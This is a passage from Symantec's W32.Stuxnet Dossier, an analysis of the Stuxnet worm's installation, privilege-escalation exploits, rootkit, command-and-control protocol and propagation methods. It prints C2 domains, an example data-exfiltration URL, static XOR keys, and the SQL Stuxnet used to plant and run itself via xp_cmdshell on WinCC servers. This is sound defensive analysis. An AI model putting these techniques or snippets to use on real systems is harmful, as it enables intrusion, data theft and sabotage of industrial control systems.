127.0.0.1 – Up to IP addresses of the compromised computer (not in the June 2009 version).
[COMPUTER NAME] – The computer name.
[DOMAIN NAME] – The domain or workgroup name.
[c:\a\1.zip:\proj.s7p] – The file name of infected project file.W32.Stuxnet Dossier
Page 16Security Response
Installation
Export 15 is the first export called when the .dll file is loaded for the first time. It is responsible for checking that
the threat is running on a compatible version of Windows, checking whether the computer is already infected or
not, elevating the privilege of the current process to system, checking what antivirus products are installed, and
what the best process to inject into is. It then injects the .dll file into the chosen process using a unique injection
technique described in the Injection Technique section and calls export 16.
The first task in export 15 is to check if the configuration data is up-to-date. The configuration data can be
stored in two locations. Stuxnet checks which is most up-to-date and proceeds with that configuration data.
Next, Stuxnet determines if it is running on a 64-bit machine or not; if the machine is 64-bit the threat exits.
At this point it also checks to see what operating system it is running on. Stuxnet will only run on the following
operating systems:
Win2K•
WinXP•
Windows 2003•
Vista•
Windows Server 2008•
Windows 7•
Windows Server 2008 R2•
If it is not running on one of these operating systems it will exit.
Next, Stuxnet checks if it has Administrator rights on the computer. Stuxnet wants to run with the highest privi -
lege possible so that it will have permission to take whatever actions it likes on the computer. If it does not have
Administrator rights, it will execute one of the two zero-day escalation of privilege attacks described below. Figure 10
Control flow for export 15
W32.Stuxnet Dossier
Page 17Security Response
If the process already has the rights it requires it proceeds to prepare to call export 16 in the main .dll file. It calls
export 16 by using the injection techniques described in the Injection Technique section.
When the process does not have Adminstrator rights on the system it will try to attain these privileges by using
one of two zero-day escalation of privilege attacks. The attack vector used is based on the operating system
of the compromised computer. If the operating system is Windows Vista, Windows 7, or Windows Server 2008
R2 the currently undisclosed Task Scheduler Escalation of Privilege vulnerability is exploited. If the operating
system is Windows XP or Windows 2000 the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-
073) is exploited.
If exploited, both of these vulnerabilities result in the main .dll file running as a new process, either within the
csrss.exe process in the case of the win32k.sys vulnerability or as a new task with Adminstrator rights in the
case of the Task Scheduler vulnerability.
The code to exploit the win32k.sys vulnerability is stored in resource 250. Details of the Task Scheduler vulner -
ability currently are not released as patches are not yet available. The Win32k.sys vulnerability is described in
the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-073) section.
After export 15 completes the required checks, export 16 is called.
Export 16 is the main installer for Stuxnet. It checks the date and the version number of the compromised com -
puter; decrypts, creates and installs the rootkit files and registry keys; injects itself into the services.exe process
to infect removable drives; injects itself into the Step7 process to infect all Step 7 projects; sets up the global
mutexes that are used to communicate between different components; and connects to the RPC server.
Export 16 first checks that the configuration data is valid, after that it checks the value “NTVDM TRACE” in the
following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation Figure 11
Infection routine flow
W32.Stuxnet Dossier
Page 18Security Response
If this value is equal to 19790509 the threat will exit. This is thought to be an infection marker or a “do not
infect” marker. If this is set correctly infection will not occur. The value may be a random string and represent
nothing, but also appears to match the format of date markers used in the threat. As a date, the value may be
May 9, 1979. This date could be an arbitrary date, a birth date, or some other significant date. While on May 9,
1979 a variety of historical events occured, according to Wikipedi a “Habib Elghanian was executed by a firing
squad in Tehran sending shock waves through the closely knit Iranian Jewish community. He was the first Jew
and one of the first civilians to be executed by the new Islamic government. This prompted the mass exodus of
the once 100,000 member strong Jewish community of Iran which continues to this day.” Symantec cautions
readers on drawing any attribution conclusions. Attackers would have the natural desire to implicate another
party.
Next, Stuxnet reads a date from the configuration data (offset 0x8c in the configuration data). If the current date
is later than the date in the configuration file then infection will also not occur and the threat will exit. The date
found in the current configuration file is June 24, 2012.
Stuxnet communicates between different components via global mutexes. Stuxnet tries to create such a global
mutex but first it will use SetSecurityDescriptorDacl for computers running Windows XP and also the SetSecuri -
tyDescriptorSacl API for computers running Windows Vista or later to reduce the integrity levels of objects, and
thus ensure no write actions are denied.
Next, Stuxnet creates 3 encrypted files. These files are read from the .stub section of Stuxnet; encrypted and
written to disk, the files are:
The main Stuxnet payload .dll file is saved as Oem7a.pnf1.
A 90 byte data file copied to %SystemDrive%\inf\mdmeric3.PNF 2.
The configuration data for Stuxnet is copied to %SystemDrive%\inf\mdmcpq3.PNF3.
A log file is copied to %SystemDrive%\inf\oem6C.PNF 4.
Then Stuxnet checks the date again to ensure the current date is before June 24, 2012.
Subsequently Stuxnet checks whether it is the latest version or if the version encrypted on disk is newer. It does
this by reading the encrypted version from the disk, decrypting it, and loading it into memory. Once loaded Stux -
net calls export 6 from the newly loaded file; export 6 returns the version number of the newly loaded file from
the configuration data. In this way Stuxnet can read the version number from its own configuration data and
compare it with the version number from the file on disk. If the versions match then Stuxnet continues.
Provided that the version check passed, Stuxnet will extract, decode, and write two files from the resources sec -
tion to disk. The files are read from resource 201 and 242 and are written to disk as “Mrxnet.sys“ and “Mrxcls.
sys” respectively. These are two driver files; one serves as the load point and the other is used to hide malicious
files on the compromised computer and to replace the Stuxnet files on the disk if they are removed. The mechan -
ics of these two files are discussed in the Load Point and Rootkit Functionality sections respectively. When these
files are created the file time on them is changed to match the times of other files in the system directory to
avoid suspicion. Once these files have been dropped Stuxnet creates the registry entries necessary to load these
files as services that will automatically run when Windows starts.
Once Stuxnet has established that the rootkit was installed correctly it creates some more global mutexes to
signal that installation has occurred successfully.
Stuxnet passes control to two other exports to continue the installation and infection routines. Firstly, it injects
the payload .dll file into the services.exe process and calls export 32, which is responsible for infecting newly
connected removable drives and for starting the RPC server. Secondly, Stuxnet injects the payload .dll file into
the Step7 process S7tgtopx.exe and calls export 2. In order to succeed in this action, Stuxnet may need to kill the
explorer.exe and S7tgtopx.exe processes if they are running. Export 2 is used to infect all Step7 project files as
outlined in the Step7 Project File Infection section.
From here execution of Stuxnet continues via these 2 injections and via the driver files and services that were
created. W32.Stuxnet Dossier
Page 19Security Response
Stuxnet then waits for a short while before trying to connect to the RPC server that was started by the export
32 code. It will call function 0 to check it can successfully connect and then it makes a request to function 9 to
receive some information, storing this data in a log file called oem6c.pnf.
At this time, all the default spreading and payload routines have been activated.
Windows Win32k.sys Local Privilege Escalation (MS10-073)
Stuxnet exploited a 0-day vulnerability in win32k.sys, used for local privilege escalation. The vulnerability was
patched on October 12, 2010. The vulnerability resides in code that calls a function in a function pointer table;
however, the index into the table is not validated properly allowing code to be called outside of the function
table.
The installation routine in Export 15, extracts and executes Resource 250, which contains a DLL that invokes the
local privilege escalation exploit. The DLL contains a single export—Tml_1. The code first verifies that the execu -
tion environment isn’t a 64-bit system and is Windows XP or Windows 2000.
If the snsm7551.tmp file exists execution ceases, otherwise the file ~DF540C.tmp is created, which provides an
in-work marker.
Next, win32k.sys is loaded into memory and the vulnerable function table pointer is found. Next, Stuxnet will ex -
amine the DWORDs that come after the function table to find a suitable DWORD to overload as a virtual address
that will be called. When passing in an overly large index into the function table, execution will transfer to code
residing at one of the DWORDs after the function table. These DWORDs are just data used elsewhere in win32k.
sys, but hijacked by Stuxnet. For example, if the ASCII string ‘aaaa’ (DWORD 0x60606060) is located after the
function table, Stuxnet will allocate shellcode at address 0x60606060 and then pass in an overly large function
table index that points to the DWORD ‘aaaa’ (0x60606060).
Because the available space at the address (in the above example 0x60606060) may be limited, Stuxnet uses
a two stage shellcode strategy. Memory is allocated for the main shellcode and at the chosen hijacked address,
Stuxnet only places a small piece of shellcode that will jump to the main shellcode.
Next, Stuxnet drops a malformed keyboard layout file into the Temp directory with the file name ~DF<random>.
tmp. The malformed keyboard layout file contains a byte that will result in the overly large index into the func -
tion table. NtUserLoadKeyboardLayoutEx is called to load the malformed keyboard layout file successfully invok -
ing the exploit. The original keyboard layout is restored and then the malformed keyboard layout file is deleted.
The shellcode then loads the main Stuxnet DLL in the context of CSRSS.EXE.W32.Stuxnet Dossier
Page 20Security Response
Load Point
Stuxnet drops Resource 242 MrxCls.sys via Export 16. MrxCls is a driver digitally signed with a compromised
Realtek certificate that was revoked on July 16, 2010 by Verisign. A different version of the driver was also found
signed by a different compromised digital certificate from JMicron.
Mrxcls.sys is a driver that allows Stuxnet to be executed every time an infected system boots and thus acts as
the main load-point for the threat. The driver is registered as a boot start service creating the registry key HKEY_
LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxCls\”ImagePath” = “%System%\drivers\mrxcls.sys”
and thus loading early in the Windows boot process.
The goal of the driver is to inject and execute copies of Stuxnet into specific processes.
The driver contains an encrypted data block. After decryption, this block contains (among others) a registry key/
value pair, which is normally HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MrxCls\“Data”.
The driver reads this binary value (previously set by Stuxnet during the installation process). The value is de -
crypted. It contains a list of pairs (target process name, module to inject):
services.exe —• %Windir%\inf\oem7A.PNF
S7tgtopx.exe —• %Windir%\inf\oem7A.PNF
CCProjectMgr.exe —• %Windir%\inf\oem7A.PNF
explorer.exe —• %Windir%\inf\oem7m.PNF
The services.exe, s7tgtopx.exe (Simatic manager) and CCProjectMgr.exe (WinCC project manager) will be inject -
ed with oem7a.pnf, which is a copy of the main Stuxnet dll. Once injected, Stuxnet executes on the compromised
computer.
Explorer.exe is injected with oem7m.pnf, an unknown file, which does not appear to be dropped by Stuxnet.W32.Stuxnet Dossier
Page 21Security Response
Command and Control
After the threat has installed itself, dropped its files, and gathered some information about the system it con -
tacts the command and control server on port 80 and sends some basic information about the compromised
computer to the attacker via HTTP. Two command and control servers have been used in known samples:
www[.]mypremierfutbol[.]com•
www[.]todaysfutbol[.]com•
The two URLs above previously pointed to servers in Malaysia and Denmark; however they have since been
redirected to prevent the attackers from controlling any compromised computers. The threat has the capability
to update itself with new command and control domains, but we have not seen any files with updated configu -
rations as yet. A configuration file named %Windir%\inf\mdmcpq3.PNF is read and the updated configuration
information from that file is written to the main dll and the checksum of the dll is recalculated to ensure it is still
correct.
System data is gathered by export 28 and consists of the following information in the following format:
Part 1:
0x00 byte 1, fixed value
0x01 byte from Configuration Data (at offset 14h)
0x02 byte OS major version
0x03 byte OS minor version
0x04 byte OS service pack major version
0x05 byte size of part 1 of payload
0x06 byte unused, 0
0x07 byte unused, 0
0x08 dword from C. Data (at offset 10h, Sequence ID)
0x0C word unknown
0x0E word OS suite mask
0x10 byte unused, 0
0x11 byte flags
0x12 string computer name, null-terminated
0xXX string domain name, null-terminated
Part 2, following part 1:
0x00 dword IP address of interface 1, if any
0x04 dword IP address of interface 2, if any
0x08 dword IP address of interface 3, if any
0x0C dword from Configuration Data (at offset 9Ch)
0x10 byte unused, 0
0x11 string copy of S7P string from C. Data (418h)
Note that the payload contains the machine and domain name, as well as OS information. The flags at offset 11h
have the 4th bit set if at least one of the two registry values is found:
HKEY_LOCAL_MACHINE\Software\Siemens\Step7, value: STEP7_Version•
HKEY_LOCAL_MACHINE\Software\Siemens\WinCC\Setup, value: Version•
This informs the attackers if the machine is running the targeted ICS programming software Siemens Step7 or
WinCC.
The payload data is then XOR-ed with the byte value 0xFF.
After the data is gathered, export #29 will then be executed (using the previously mentioned injection technique)
to send the payload to a target server. The target process can be an existing Internet Explorer process (iexplore.
exe), by default or if no iexplore.exe process is found the target browser process will be determined by examining W32.Stuxnet Dossier
Page 22Security Response
the registry key HKEY_CLASSES_ROOT\HTTP\SHELL\OPEN\COMMAND. A browser process is then created and
injected to run Export #29.
Export #29 is used to send the above information to one of the malicious Stuxnet servers specified in the Con -
figuration Data block. First, one of the two below legitimate web servers referenced in the Configuration Data
block are queried, to test network connectivity:
www.windowsupdate.com•
www.msn.com•
If the test passes, the network packet is built. It has the following format:
0x00 dword 1, fixed value
0x04 clsid unknown
0x14 byte[6] unknown
0x1A dword IP address of main interface
0x1E byte[size] payload
The payload is then XOR-ed with a static 31-byte long byte string found inside Stuxnet:
0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6, 0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57, 0x88, 0x5A,
0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A, 0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1
The result is « hexified » (in order to transform binary data to an ascii string). For instance, the sequence of bytes
(0x12, 0x34) becomes the string “1234”.
The payload is then sent to one of the two aforementioned URLs, as the “data” parameter. For example:
[http://]www.mypremierfutbol.com/index.php?data=1234...
Using the HTTP protocol as well as pure ASCII parameters is a common way by malware (and legitimate applica -
tions for that matter) to bypass corporate firewall blocking rules.
The malicious Stuxnet server processes the query and may send a response to the client. The response payload
is located in the HTTP Content section. Contrary to the payload sent by the client, it is pure binary data. How -
ever, it is encrypted with the following static 31-byte long XOR key:
0xF1, 0x17, 0xFA, 0x1C, 0xE2, 0x33, 0xC1, 0xD7, 0xBB, 0x77, 0x26, 0xC0, 0xE4, 0x96, 0x15, 0xC4, 0x62, 0x2E,
0x2D, 0x18, 0x95, 0xF0, 0xD8, 0xAD, 0x4B, 0x23, 0xBA, 0xDC, 0x4F, 0xD7, 0x0C
The decrypted server response has the following format:
0x00 dword payload module size (n)
0x04 byte command byte, can be 0 or 1
0x05 byte[n] payload module (Windows executable)
Depending on the command byte, the payload module is either loaded in the current process, or in a separate
process via RPC. Then, the payload module’s export #1 is executed.
This feature gave Stuxnet backdoor functionality, as it had the possibility (before the *futbol* domains were
blocked) to upload and run any code on an infected machine. At the time of writing no additional executables
were detected as being sent by the attackers, but this method likely allowed them to download and execute ad -
ditional tools or deliver updated versions of Stuxnet.W32.Stuxnet Dossier
Page 23Security Response
Figure 12
Command and Control
W32.Stuxnet Dossier
Page 24Security Response
Windows Rootkit Functionality
Stuxnet has the ability to hide copies of its files copied to removable drives. This prevents users from noticing
that their removable drive is infected before sharing the removable drive to another party and also prevents
those users from realizing the recently inserted removable drive was the source of infection.
Stuxnet via Export 16 extracts Resource 201 as MrxNet.sys. The driver is registered as a service creating the fol -
lowing registry entry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxNet\”ImagePath” = “%System%\drivers\
mrxnet.sys”
The driver file is a digitally signed with a legitimate Realtek digital certificate. The certificate was confirmed as
compromised and revoked on July 16, 2010 by Verisign.
The driver scans the following filesystem driver objects:
\FileSystem\ntfs•
\FileSystem\fastfat•
\FileSystem\cdfs•
A new device object is created by Stuxnet and attached to the device chain for each device object managed by
these driver objects. The MrxNet.sys driver will manage this driver object. By inserting such objects, Stuxnet is
able to intercept IRP requests (example: writes, reads, to devices NTFS, FAT or CD-ROM devices).
The driver also registers to a filesystem registration callback routine in order to hook newly created filesystem
objects on the fly.
The driver monitors “directory control” IRPs, in particular “directory query” notifications. Such IRPs are sent to
the device when a user program is browsing a directory, and requests the list of files it contains for instance.
Two types of files will be filtered out from a query directory result:
Files with a “.LNK” extension having a size of 4,171 bytes.•
Files named “~WTR[FOUR NUMBERS].TMP”, whose size is between 4Kb and 8Mb; the sum of the four numbers •
modulo 10 is null. For example, 4+1+3+2=10=0 mod 10
These filters hide the files used by Stuxnet to spread through removable drives, including:
Copy of Copy of Copy of Copy of Shortcut to.lnk•
Copy of Copy of Copy of Shortcut to.lnk•
Copy of Copy of Shortcut to.lnk•
Copy of Shortcut to.lnk•
~wtr4132.tmp•
~wtr4141.tmp•
In the driver file, the project path b:\myrtus\src\objfre_w2k_x86\i386 \guava.pdb was not removed.
Guavas are plants in the myrtle (myrtus) family genus. The string could have no significant meaning; however, a
variety of interpretations have been discussed. Myrtus could be “MyRTUs”. RTU stands for remote terminal unit
and are similar to a PLC and, in some environments, used as a synonym for PLCs. In addition, according to Wiki -
pedia, “Esther was originally named Hadassah. Hadassah means ‘myrtle’ in Hebrew.” Esther learned of a plot to
assassinate the king and “told the king of Haman’s plan to massacre all Jews in the Persian Empire...The Jews
went on to kill only their would-be executioners.” Symantec cautions readers on drawing any attribution conclu -
sions. Attackers would have the natural desire to implicate another party.W32.Stuxnet Dossier
Page 25Security Response
Stuxnet Propagation Methods
Stuxnet has the ability to propogate using a variety of methods. Stuxnet propagates by infecting removable
drives and also by copying itself over the network using a variety of means, including two exploits. In addition,
Stuxnet propagates by copying itself to Step 7 projects using a technique that causes Stuxnet to auto-execute
when opening the project. The following sections describe the network, removable drive, and Step 7 project
propagation routines.
Network propagation routines
Export 22 is responsible for the majority of the network propagation routines that Stuxnet uses. This export
builds a “Network Action” class that contains 5 subclasses. Each subclass is responsible for a different method
of infecting a remote host.
The functions of the 5 subclasses are:
Peer-to-peer communication and updates•
Infecting WinCC machines via a hardcoded database server password•
Propagating through network shares•
Propagating through the MS10-061 Print Spooler Zero-Day Vulnerability•
Propagating through the MS08-067 Windows Server Service Vulnerability•
Each of these classes is discussed in more detail below.
Peer-to-peer communication
The P2P component works by installing an RPC server and client. When the threat infects a computer it starts
the RPC server and listens for connections. Any other compromised computer on the network can connect to the
RPC server and ask what version of the threat is installed on the remote computer.
If the remote version is newer then the local computer will make a request for the new version and will update
itself with that. If the remote version is older the local computer will prepare a copy of itself and send it to the
remote computer so that it can update itself. In this way an update can be introduced to any compromised com -
puter on a network and it will eventually spread to all other compromised computers.
All of the P2P requests take place over RPC as outlined below.
The RPC server offers the following routines. (Note that RPC methods 7, 8, 9 are not used by Stuxnet.)
0: Returns the version •
number of Stuxnet
installed
1: Receive an .exe •
file and execute it
(through injection)
2: Load module and •
executed export
3: Inject code into •
lsass.exe and run it
4: Builds the latest •
version of Stuxnet and
sends to compromised
computer
5: Create process•
6: Read file•
7: Drop file•
8: Delete file•
9: Write data records• Figure 13
Example of an old client requesting latest version of Stuxnet via P2P
W32.Stuxnet Dossier
Page 26Security Response
The RPC client makes the following requests:
Call RPC function 0 to get remote version number.1.
Check if remote version number is newer than local version number.2.
If remote version number is newer then: 3.
1. Call RPC function 4 to request latest Stuxnet exe
2. Receive the latest version of Stuxnet
3. Install it locally (via process injection)
If the remote version number is older then: 4.
1. Prepare a standalone .exe file of the local Stuxnet version.
2. Send the .exe file to the remote computer by calling RPC function 1.
When trying to connect to a remote RPC server this class uses the following logic.
It will attempt to call RPC function 0 on each of the following bindings in turn, if any RPC call succeeds then
Stuxnet proceeds with that binding:
ncacn_ip_tcp:IPADDR[135]1.
ncacn_np:IPADDR[\\pipe\\ntsvcs]2.
ncacn_np:IPADDR[\\pipe\\browser]3.
It will then try to impersonate the anonymous token and try the following binding:
ncacn_np:IPADDR[\\pipe\\browser]4.
It then reverts to its own token and finally tries to enumerate through the service control manager (SCM) looking
for any other bindings that may be available:
ncacn_ip_tcp:IPADDR (searches in the SCM for available services)5.
If any of the above bindings respond correctly to RPC function 0 then Stuxnet has found a remote compromised
computer. RPC function 0 returns the version number of the remote Stuxnet infection. Based on this version
number Stuxnet will either send a copy of itself to the remote computer or it will request a copy of the latest ver -
sion from the remote computer and install it.
RPC function 1 is called in order to receive the latest version from the remote computer and RPC function 4 is
called to send the latest version of Stuxnet to the remote computer.
Of course Stuxnet does not simply execute the received executable. Instead, it injects it into a chosen process
and executes it that way as outlined in the Injection Technique section.
Furthermore, Stuxnet is actually a .dll file so in order to send an executable version of itself to the attacker
Stuxnet must first build an executable version of itself. It does this by reading in a template .exe from resource
210 and populating it with all of the addition detail that is needed to make an executable version of the currently
installed Stuxnet version, including the latest configuration data and information about the currently compro -
mised computer.
Because the peer-to-peer mechanism occurs through RPC, it is unlikely as an alternative method of command
and control as RPC generally is only effective within a local area network (LAN). The purpose of the peer-to-peer
mechanism is likely to allow the attackers to reach computers that do not have outbound access to the general
Internet, but can communicate with other computers on the LAN that have been infected and are able to contact
the command and control servers.
Infecting WinCC computers
This class is responsible for connecting to a remote server running the WinCC database software. When it finds
a system running this software it connects to the database server using a password that is hardcoded within the
WinCC software. Once it has connected it performs two actions. First, Stuxnet sends malicious SQL code to the
database that allows a version of Stuxnet to be transferred to the computer running the WinCC software and
executes it, thereby infecting the computer that is running the WinCC database. Second, Stuxnet modifies an
existing view adding code that is executed each time the view is accessed.W32.Stuxnet Dossier
Page 27Security Response
After sending an SQL configuration query, Stuxnet sends an SQL statement that creates a table and inserts a
binary value into the table. The binary value is a hex string representation of the main Stuxnet DLL as an execut -
able file (formed using resource 210) and an updated configuration data block.
CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0x…)
If successful, Stuxnet uses OLE Automation Stored Procedures to write itself from the database to disk as
%UserProfile%\sql[RANDOM VALUE].dbi.
The file is then added as a stored procedure and executed.
SET @ainf = @aind + ‘\\sql%05x.dbi’
EXEC sp _ addextendedproc sp _ dumpdbilog, @ainf
EXEC sp _ dumpdbilog
The stored procedure is then deleted and the main DLL file is also deleted.
Once running locally on a computer with WinCC installed, Stuxnet will also save a .cab file derived from resource
203 on the computer as GracS\cc_tlg7.sav. The .cab file contains a bootstrap DLL meant to load the main Stux -
net DLL, located in GracS\cc_alg.sav. Next, Stuxnet will then modify a view to reload itself. Stuxnet modifies the
MCPVREADVARPERCON view to parse the syscomments.text field for additional SQL code to execute. The SQL
code stored in syscomments.text is placed between the markers –CC-SP and --*.
In particular, Stuxnet will store and execute SQL code that will extract and execute Stuxnet from the saved CAB
file using xp_cmdshell.
set @t=left(@t,len(@t)-charindex(‘\\’,reverse(@t)))+’\GraCS\cc _ tlg7.sav’;
set @s = ‘master..xp _ cmdshell ‘’extrac32 /y “’+@t+’” “’+@t+’x”’’’;
exec(@s);
Then, the extracted DLL will be added as a stored procedure, executed, and deleted. This allows Stuxnet to ex -
ecute itself and ensure it remains resident.
Propagation through network shares
Stuxnet also can spread to available network shares through either a scheduled job or using Windows Manage -
ment Instrumentation (WMI).
Stuxnet will enumerate all user accounts of the computer and the domain, and try all available network resourc -
es either using the user’s credential token or using WMI operations with the explorer.exe token in order to copy
itself and execute on the remote share.
Stuxnet will determine if the ADMIN$ share is accessible to build the share name of the main drive (e.g.: C$). An
executable is built using resource 210 and customized with the main DLL code and the latest configuration data
block. After enumerating the directories of the network resource, the executable is copied as a random file name
in the form DEFRAG[RANDLNT].tmp. Next, a network job is scheduled to execute the file two minutes after infec -
tion.
The same process occurs except using WMI with the explorer.exe token instead of using the user’s credential
token.
MS10-061 Print Spooler zero-day vulnerability
This is the zero day Print Spooler vulnerability patched by Microsoft in MS10-06 1. Although at first it was
thought that this was a privately found/disclosed vulnerability, it was later discovered that this vulnerability
was actually first released in the 2009-4 edition of the security magazine Hakin9 and had been public since that
time, but had not been seen to be used in the wild.W32.Stuxnet Dossier
Page 28Security Response
This vulnerability allows a file to be written to the %System% folder of vulnerable machines. The actual code to
carry out the attack is stored in resource 222; this export loads the DLL stored in that resource and prepares the
parameters needed to execute the attack, namely an IP address and a copy of the worm, and then calls export
one from the loaded DLL. Using this information, Stuxnet is able to copy itself to remote computers as %Sys -
tem%\winsta.exe through the Printer Spooler, and then execute itself. Winsta.exe may contain multiple copies of
Stuxnet and grow abnormally large.
Stuxnet will only attempt to use MS10-061 if the current date is before June 1, 2011.
MS08-067 Windows Server Service vulnerability
In addition, Stuxnet also exploits MS08-06 7, which is the same vulnerability utilized by W32.Downadu p. MS08-
067 can be exploited by connecting over SMB and sending a malformed path string that allows arbitrary execu -
tion. Stuxnet uses this vulnerability to copy itself to unpatched remote computers.
Stuxnet will verify the following conditions before exploiting MS08-67:
The current date must be before January 1, 2030•
Antivirus definitions for a variety of antivirus products dated before January 1, 2009•
Kernel32.dll and Netapi32.dll timestamps after October 12, 2008 (before patch day)• W32.Stuxnet Dossier
Page 29Security Response
Removable drive propagation
One of the main propagation methods Stuxnet uses is to copy itself to inserted removable drives. Industrial
control systems are commonly programmed by a Windows computer that is non-networked and operators often
exchange data with other computers using removable drives. Stuxnet used two methods to spread to and from
removable drives—one method using a vulnerability that allowed auto-execution when viewing the removable
drive and the other using an autorun.inf file.
LNK Vulnerability (CVE-2010-2568)
Stuxnet will copy itself and its supporting files to available removable drives any time a removable drive is
inserted, and has the ability to do so if specifically instructed. The removable-drive copying is implemented by
exports 1, 19, and 32. Export 19 must be called by other code and then it performs the copying routine immedi -
ately. Exports 1 and 32 both register routines to wait until a removable drive is inserted. The exports that cause
replication to removable drives will also remove infections on the removable drives, depending on a configura -
tion value stored in the configuration data block. Different circumstances will cause Stuxnet to remove the files
from an infected removable drive. For example, once the removable drive has infected three computers, the files
on the removable drive will be deleted.
If called from Export 1 or 32, Stuxnet will first verify it is running within services.exe, and determines which
version of Windows it is running on. Next, it creates a new hidden window with the class name ‘AFX64c313’ that
waits for a removable drive to be inserted (via the WM_DEVICECHANGE message), verifies it contains a logical
volume (has a type of DBT_DEVTYP_VOLUME), and is a removable drive (has a drive type of DEVICE_REMOV -
ABLE). Before infecting the drive, the current time must be before June 24, 2012.
Next, Stuxnet determines the drive letter of the newly inserted drive and reads in the configuration data to de -
termine if it should remove itself from the removable drive or copy itself to the removable drive. When removing
itself, it deletes the following files:
%DriveLetter%\~WTR4132.tmp •
%DriveLetter%\~WTR4141.tmp•
%DriveLetter%\Copy of Shortcut to.lnk •
%DriveLetter%\Copy of Copy of Shortcut to.lnk •
%DriveLetter%\Copy of Copy of Copy of Shortcut to.lnk•
%DriveLetter%\Copy of Copy of Copy of Copy of Shortcut to.lnk•
If the removable drive should be infected, the drive is first checked to see if it is suitable, checking the following
conditions:
The drive was not just infected, determined by the current time.•
The configuration flag to infect removable drives must be set, otherwise infections occur depending on the •
date, but this is not set by default.
The infection is less than 21 days old.•
The drive has at least 5MB of free space.•
The drive has at least 3 files.•
If these conditions are met, the following files are created:
%DriveLetter%\~WTR4132.tmp (~500Kb) •
(This file contains Stuxnet’s main DLL in the stub section and is derived from Resource 210.)
%DriveLetter%\~WTR4141.tmp (~25Kb) •
(This file loads ~WTR4132.tmp and is built from Resource 241.)
%DriveLetter%\Copy of Shortcut to.lnk •
%DriveLetter%\Copy of Copy of Shortcut to.lnk •
%DriveLetter%\Copy of Copy of Copy of Shortcut to.lnk•
%DriveLetter%\Copy of Copy of Copy of Copy of Shortcut to.lnk• W32.Stuxnet Dossier
Page 30Security Response
The .lnk files are created using Resource 240 as a template and four are needed as each specifically targets one
or more different versions of Windows including Windows 2000, Windows XP, Windows Server 2003, Windows
Vista, and Windows 7. The .lnk files contain an exploit that will automatically execute ~WTR4141.tmp when sim -
ply viewing the folder.
~WTR4141.tmp then loads ~WTR4132.tmp, but before doing so, it attempts to hide the files on the removable
drive. Hiding the files on the removable drive as early in the infection process as possible is important for the
threat since the rootkit functionality is not installed yet, as described in the Windows Rootkit Functionality sec -
tion. Thus, ~WTR4141.tmp implements its own less-robust technique in the meantime.
~WTR4141.tmp hooks the following APIs from kernel32.dll and Ntdll.dll:
From Kernel32.dll
FindFirstFileW•
FindNextFileW•
FindFirstFileExW•
From Ntdll.dll
NtQueryDirectoryFile•
ZwQueryDirectoryFile•
It replaces the original code for these functions with code that checks for files with the following properties:
Files with an .lnk extension having a size of 4,171 bytes.•
Files named ~WTRxxxx.TMP, sized between 4Kb and 8 Mb, where xxxx is:•
4 decimal digits. (~wtr4132.tmp)•
The sum of these digits modulo 10 is null. (Example: 4+1+3+2=10=0 mod 10)•
If a request is made to list a file with the above properties, the response from these APIs is altered to state that
the file does not exist, thereby hiding all files with these properties.
After the DLL APIs are hooked, ~WTR4132.tmp is loaded. To load a .dll file normally, a program calls the “Load -
Library” API with the file name of the .dll file to be loaded into memory. W32.Stuxnet uses a different approach,
not just in the first .dll file
but in several different
parts of the code. This
method is described in
the Bypassing Behavior
Blocking When Loading
DLLs section.
~WTR4132.tmp contains
the main Stuxnet DLL in
the .stub section. This is
extracted into memory
and then Export 15 of
the DLL is called execut -
ing the installation of
Stuxnet. Export 15 is
described in the Installa -
tion section.
The diagram to the right
describes the execution
flow. Figure 14
USB Execution Flow
W32.Stuxnet Dossier
Page 31Security Response
AutoRun.Inf
Previous versions of Stuxnet did not use the LNK 0-day exploit, but instead spread via an autorun.inf file. Re -
source 207 is a 500kb file that was only present in the older version of Stuxnet, and was removed in the new
version.
An autorun.inf file is a configuration file placed on removable drives that instructs Windows to automatically ex -
ecute a file on the removable drive when the drive is inserted. Typically, one would place the autorun.inf file and
executable in the root directory of the drive. However, Stuxnet uses a single file. Resource 207 is an executable
file and also contains a correctly formatted autorun.inf data section at the end.
When autorun.inf files are parsed by the Windows OS, the parsing is quite forgiving, meaning that any charac -
ters that are not understood as legitimate autorun commands are skipped. Stuxnet uses this to its advantage by
placing the MZ file first inside the autorun.inf file. During parsing of the autorun.inf file all of the MZ file will be
ignored until the legitimate autorun commands that are appended at the end of the file are encountered. See the
header and footer of the autorun.inf file as shown in the following diagrams.
When we show only the strings from the footer we can see that they are composed of legitimate autorun com -
mands:
Notice that Stuxnet uses the autorun commands to specify the file to execute as the actual autorun.inf file. Using
this trick, the autorun.inf file will be treated as a legitimate autorun.inf file first and later as a legitimate execut -
able file. Figure 15
Autorun.inf header
Figure 16
Autorun.inf footer
Figure 17
Hidden autorun commands
W32.Stuxnet Dossier
Page 32Security Response
In addition to this, Stuxnet also uses another trick to enhance the chances
that it will be executed. The autorun commands turn off autoplay and then
add a new command to the context menu. The command that is added is
found in %Windir%\System32\shell32.dll,-8496. This is actually the “Open”
string. Now when viewing the context menu for the removable device the user
will actually see two “Open” commands.
One of these Open commands is the legitimate one and one is the command
added by Stuxnet. If a user chooses to open the drive via this menu, Stuxnet
will execute first. Stuxnet then opens the drive to hide that anything suspi -
cious has occurred. Figure 18
Two “Open” commands
W32.Stuxnet Dossier
Page 33Security Response
Step 7 Project File Infections
The main export, Export 16, calls Export 2, which is used to hook specific APIs that are used to open project files
inside the s7tgtopx.exe process. This process is the WinCC Simatic manager, used to manage a WinCC/Step7
project.
The Import Address Tables of the following DLLs are modified:
In s7apromx.dll, mfc42.dll, and msvcrt.dll, CreateFileA is replaced to point to “CreateFileA_hook”.•
In ccprojectmgr.exe, StgOpenStorage is replaced to point to “StgOpenStorage_hook”.•
